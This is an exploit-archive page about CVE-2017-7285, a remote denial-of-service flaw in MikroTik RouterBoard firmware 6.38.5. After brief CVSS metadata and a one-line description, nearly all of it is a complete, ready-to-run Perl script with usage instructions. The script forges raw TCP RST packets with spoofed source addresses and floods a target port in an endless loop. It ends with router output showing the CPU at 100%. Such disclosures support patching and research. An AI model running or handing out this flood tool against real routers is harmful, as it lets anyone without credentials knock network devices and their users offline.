MikroTik RouterBoard V-6.38.5 Denial Of Service | CPU Consumption

2017.03.28
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-400


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

################ #Exploit Title: MikroTik RouterBoard V-6.38.5 Denial Of Service | CPU Consumption #CVE: CVE-2017-7285 #CWE: CWE-400 #Exploit Author: Hosein Askari (FarazPajohan) #Vendor HomePage: https://mikrotik.com/ #Version : V-6.38.5 #Exploit Tested on: LionSec OS #Date: 28-03-2017 #Category: Network Appliance #Author Mail : hosein.askari@aol.com #Description: A vulnerability in the network stack of MikroTik Version 6.38.5 released 2017-03-09 could allow an unauthenticated remote attacker to exhaust all available CPU via a flood of TCP RST packets, preventing the affected router from accepting new TCP connections. ############### Exploit: #perl exploit.pl 192.168.3.253 2000 192.168.3.1 8291(winbox port) #!/usr/local/bin/perl use Socket; $src_host = $ARGV[0]; $src_port = $ARGV[1]; $dst_host = $ARGV[2]; $dst_port = $ARGV[3]; if(!defined $src_host or !defined $src_port or !defined $dst_host or !defined $dst_port) { print "Usage: $0 <source host> <source port> <dest host> <dest port>\n"; exit; } else { main(); } sub main { my $src_host = (gethostbyname($src_host))[4]; my $dst_host = (gethostbyname($dst_host))[4]; $IPROTO_RAW = 255; socket($sock , AF_INET, SOCK_RAW, $IPROTO_RAW) or die $!; my ($packet) = makeheaders($src_host, $src_port, $dst_host, $dst_port); my ($destination) = pack('Sna4x8', AF_INET, $dst_port, $dst_host); while(1) { send($sock , $packet , 0 , $destination) or die $!; } } sub makeheaders { $IPPROTO_TCP = 6; local($src_host , $src_port , $dst_host , $dst_port) = @_; my $zero_cksum = 0; my $tcp_len = 20; my $seq = 19456; my $seq_ack = 0; my $tcp_doff = "5"; my $tcp_res = 0; my $tcp_doff_res = $tcp_doff . $tcp_res; my $tcp_urg = 0; my $tcp_ack = 0; my $tcp_psh = 0; my $tcp_rst = 1; my $tcp_syn = 0; my $tcp_fin = 0; my $null = 0; my $tcp_win = 124; my $tcp_urg_ptr = 44; my $tcp_flags = $null . $null . $tcp_urg . $tcp_ack . $tcp_psh . $tcp_rst . $tcp_syn . $tcp_fin ; my $tcp_check = 0; my $tcp_header = pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $seq_ack , $tcp_doff_res, $tcp_flags, $tcp_win , $tcp_check, $tcp_urg_ptr); my $tcp_pseudo = pack('a4a4CCn' , $src_host, $dst_host, 0, $IPPROTO_TCP, length($tcp_header) ) . $tcp_header; $tcp_check = &checksum($tcp_pseudo); my $tcp_header = pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $seq_ack , $tcp_doff_res, $tcp_flags, $tcp_win , $tcp_check, $tcp_urg_ptr); my $ip_ver = 4; my $ip_len = 5; my $ip_ver_len = $ip_ver . $ip_len; my $ip_tos = 00; my $ip_tot_len = $tcp_len + 20; my $ip_frag_id = 19245; my $ip_ttl = 25; my $ip_proto = $IPPROTO_TCP; my $ip_frag_flag = "010"; my $ip_frag_oset = "0000000000000"; my $ip_fl_fr = $ip_frag_flag . $ip_frag_oset; my $ip_header = pack('H2CnnB16CCna4a4', $ip_ver_len, $ip_tos, $ip_tot_len, $ip_frag_id, $ip_fl_fr , $ip_ttl , $ip_proto , $zero_cksum , $src_host , $dst_host); my $pkt = $ip_header . $tcp_header; return $pkt; } sub checksum { my ($msg) = @_; my ($len_msg,$num_short,$short,$chk); $len_msg = length($msg); $num_short = $len_msg / 2; $chk = 0; foreach $short (unpack("S$num_short", $msg)) { $chk += $short; } $chk += unpack("C", substr($msg, $len_msg - 1, 1)) if $len_msg % 2; $chk = ($chk >> 16) + ($chk & 0xffff); return(~(($chk >> 16) + $chk) & 0xffff); } #################### The sample of resource usage is shown below: [admin@MikroTik] > system resource monitor cpu-used: 100% cpu-used-per-cpu: 100% free-memory: 8480KiB


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